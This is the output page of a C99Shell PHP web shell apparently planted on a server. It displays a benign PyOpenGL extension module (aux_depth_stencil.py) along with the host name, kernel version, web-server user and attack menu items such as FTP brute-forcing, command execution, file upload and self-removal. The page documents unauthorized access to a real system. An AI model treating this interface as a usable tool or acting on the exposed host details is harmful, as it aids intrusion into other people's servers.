!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.16 (Debian). PHP/5.3.3-7+squeeze19 

uname -a: Linux mail.tri-specialutilitydistrict.com 2.6.32-5-amd64 #1 SMP Tue May 13 16:34:35 UTC
2014 x86_64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/share/pyshared/OpenGL/GL/APPLE/   drwxr-xr-x
Free 129.8 GB of 142.11 GB (91.34%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     aux_depth_stencil.py (1.8 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
'''OpenGL extension APPLE.aux_depth_stencil

This module customises the behaviour of the 
OpenGL.raw.GL.APPLE.aux_depth_stencil to provide a more 
Python-friendly API

Overview (from the spec)
    
    Normally, each OpenGL drawable allocates at most one depth buffer and one
    stencil buffer, regardless of how many aux buffers there are.
    
    When the APPLE_aux_depth_stencil extension is used, and the depth buffer
    size is non-zero, the GL silently allocates a separate depth buffer for the
    color buffer and for each aux buffer.  Similarly, if the stencil buffer size
    is non-zero, a separate stencil buffer is allocated for the color buffer and
    each aux buffer.  This extension does not cause separate depth or stencil
    buffers to be allocated for the left and right buffers of a stereo drawable.
    A context with no aux buffers will be unaffected by this extension.  
    
    Switching the draw or read buffer from the color buffer to an aux buffer, or
    switching between two aux buffers, simultaneously switches the associated
    depth and stencil buffers, for drawing or reading.
    
    For example, if an OpenGL context has two aux buffers and non-zero depth
    buffer size, it will have a total of three depth buffers - one associated
    with the color buffer and one associated with each aux buffer.  If that
    context is used to render to AUX0, then to render to AUX1, the changes to
    the depth buffer made by the rendering to AUX1 will not affect the depth
    buffer associated with AUX0, and vice versa.

The official definition of this extension is available here:
http://www.opengl.org/registry/specs/APPLE/aux_depth_stencil.txt
'''
from OpenGL import platform, constants, constant, arrays
from OpenGL import extensions, wrapper
from OpenGL.GL import glget
import ctypes
from OpenGL.raw.GL.APPLE.aux_depth_stencil import *
### END AUTOGENERATED SECTION

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0086 ]--